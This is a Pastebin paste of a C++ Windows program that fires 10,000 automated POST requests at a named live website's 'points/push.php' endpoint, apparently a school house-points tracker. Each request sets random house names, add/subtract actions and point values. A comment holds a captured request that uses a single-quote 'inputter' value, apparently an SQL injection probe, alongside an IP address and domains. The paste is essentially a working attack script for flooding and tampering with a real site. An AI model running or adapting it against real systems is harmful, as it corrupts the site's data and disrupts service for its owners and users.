Advertisement
Guest User

Untitled

a guest
May 3rd, 2018
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <Windows.h>
  2. #include <WinHttp.h>
  3. #include <stdio.h>
  4. #include <iostream> //getchar
  5. #include <fstream>
  6. #include <vector>
  7. #include <cstdlib>
  8. #include <time.h>
  9. #include <sstream>
  10. #include <fstream>
  11.  
  12. #pragma comment(lib, "winhttp.lib")
  13.  
  14. using namespace std;
  15.  
  16. //This will convert to utf8 encoding
  17. std::wstring get_utf16(const std::string &str, int codepage)
  18. {
  19.     if (str.empty()) return std::wstring();
  20.     int sz = MultiByteToWideChar(codepage, 0, &str[0], (int)str.size(), 0, 0);
  21.     std::wstring res(sz, 0);
  22.     MultiByteToWideChar(codepage, 0, &str[0], (int)str.size(), &res[0], sz);
  23.     return res;
  24. }
  25.  
  26. string HttpsWebRequestPost(string domain, string url, string dat)
  27. {
  28.     //Extra
  29.     LPSTR  data = const_cast<char *>(dat.c_str());;
  30.     DWORD data_len = strlen(data);
  31.  
  32.  
  33.     wstring sdomain = get_utf16(domain, CP_UTF8);
  34.     wstring surl = get_utf16(url, CP_UTF8);
  35.     string response;
  36.  
  37.     DWORD dwSize = 0;
  38.     DWORD dwDownloaded = 0;
  39.     LPSTR pszOutBuffer;
  40.     BOOL  bResults = FALSE;
  41.     HINTERNET  hSession = NULL,
  42.         hConnect = NULL,
  43.         hRequest = NULL;
  44.  
  45.     // Use WinHttpOpen to obtain a session handle.
  46.     hSession = WinHttpOpen(L"WinHTTP Example/1.0",
  47.         WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
  48.         WINHTTP_NO_PROXY_NAME,
  49.         WINHTTP_NO_PROXY_BYPASS, 0);
  50.  
  51.     // Specify an HTTP server.
  52.     if (hSession)
  53.         hConnect = WinHttpConnect(hSession, sdomain.c_str(),
  54.             INTERNET_DEFAULT_HTTP_PORT, 0);
  55.  
  56.     // Create an HTTP request handle.
  57.     if (hConnect)
  58.         hRequest = WinHttpOpenRequest(hConnect, L"POST", surl.c_str(),
  59.             NULL, WINHTTP_NO_REFERER,
  60.             WINHTTP_DEFAULT_ACCEPT_TYPES,
  61.             0);
  62.  
  63.     LPCWSTR additionalHeaders = L"Content-Type: application/x-www-form-urlencoded\r\n";
  64.     DWORD headersLength = -1;
  65.     // Send a request.
  66.     if (hRequest)
  67.         bResults = WinHttpSendRequest(hRequest,
  68.             additionalHeaders, headersLength,
  69.             (LPVOID)data, data_len,
  70.             data_len, 0);
  71.  
  72.     // End the request.
  73.     if (bResults)
  74.         bResults = WinHttpReceiveResponse(hRequest, NULL);
  75.    
  76.     // Keep checking for data until there is nothing left.
  77.     if (bResults)
  78.     {
  79.         do
  80.         {
  81.             // Check for available data.
  82.             dwSize = 0;
  83.             if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
  84.                 printf("Error %u in WinHttpQueryDataAvailable.\n",
  85.                     GetLastError());
  86.  
  87.             // Allocate space for the buffer.
  88.             pszOutBuffer = new char[dwSize + 1];
  89.             if (!pszOutBuffer)
  90.             {
  91.                 printf("Out of memory\n");
  92.                 dwSize = 0;
  93.             }
  94.             else
  95.             {
  96.                 // Read the data.
  97.                 ZeroMemory(pszOutBuffer, dwSize + 1);
  98.  
  99.                 if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
  100.                     dwSize, &dwDownloaded))
  101.                     printf("Error %u in WinHttpReadData.\n", GetLastError());
  102.                 else
  103.                     //printf("%s", pszOutBuffer);
  104.                     response = response + string(pszOutBuffer);
  105.                 // Free the memory allocated to the buffer.
  106.                 delete[] pszOutBuffer;
  107.             }
  108.         } while (dwSize > 0);
  109.     }
  110.  
  111.     // Report any errors.
  112.     if (!bResults)
  113.         printf("Error %d has occurred.\n", GetLastError());
  114.     // Close any open handles.
  115.     if (hRequest) WinHttpCloseHandle(hRequest);
  116.     if (hConnect) WinHttpCloseHandle(hConnect);
  117.     if (hSession) WinHttpCloseHandle(hSession);
  118.  
  119.     return response;
  120.  
  121. }
  122.  
  123. int main() {
  124.     vector<string> houses = { "Gryffindor", "Slytherin", "Ravenclaw", "Hufflepuff" };
  125.     vector<string> inputters = { "Totoro", "Jackie Chan", "Osama bin Laden", "Borat", "Dr. Evil", "McLovin", "Inspector Clouseau", "Obi-Wan Kenobi", "Michael Scott", "Dwight Schrute" };
  126.     vector<string> addOrSub = { "add", "sub" };
  127.  
  128.     srand(time(NULL));
  129.     ofstream out("test.txt", std::ios_base::app);
  130.  
  131.     for(int i = 0; i < 10000; i++) {
  132.         string house = houses.at(rand() % houses.size());
  133.         string addSub = addOrSub.at(rand() % addOrSub.size());
  134.         int inputter = i;
  135.  
  136.         int points = rand() % 32000;
  137.         stringstream ss;
  138.         //house=Gryffindor&points=0&add%2Fsub=add&inputter=%27
  139.         string password = " ";
  140.         ss << "house=" << house << "&points=" << points << "&add%2Fsub=" << addSub << "&inputter=" << password;
  141.         out << ss.str();
  142.  
  143.         /*
  144.         POST /anelon/points/push.php HTTP/1.1
  145.         Host: ab-kc.tk
  146.         Connection: keep-alive
  147.         Content-Length: 52
  148.         Cache-Control: max-age=0
  149.         Origin: http://ab-kc.tk
  150.         Upgrade-Insecure-Requests: 1
  151.         Content-Type: application/x-www-form-urlencoded
  152.         User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
  153.         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*//*; q = 0.8
  154.         Referer: http://ab-kc.tk/anelon/points/addpoints.html
  155.         Accept - Encoding : gzip, deflate
  156.         Accept - Language : en - US, en; q = 0.9
  157.        
  158.         house=Gryffindor&points=0&add%2Fsub=add&inputter=%27
  159.        
  160.         67.181.137.155
  161.         ab-kc.tk
  162.         kerney-houses.tk
  163.         */
  164.  
  165.         cout << "PASS: " << i << "/t" << HttpsWebRequestPost("ab-kc.tk", "/anelon/points/push.php?", ss.str()) << endl;
  166.     }
  167.  
  168.     return 0;
  169.  
  170. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement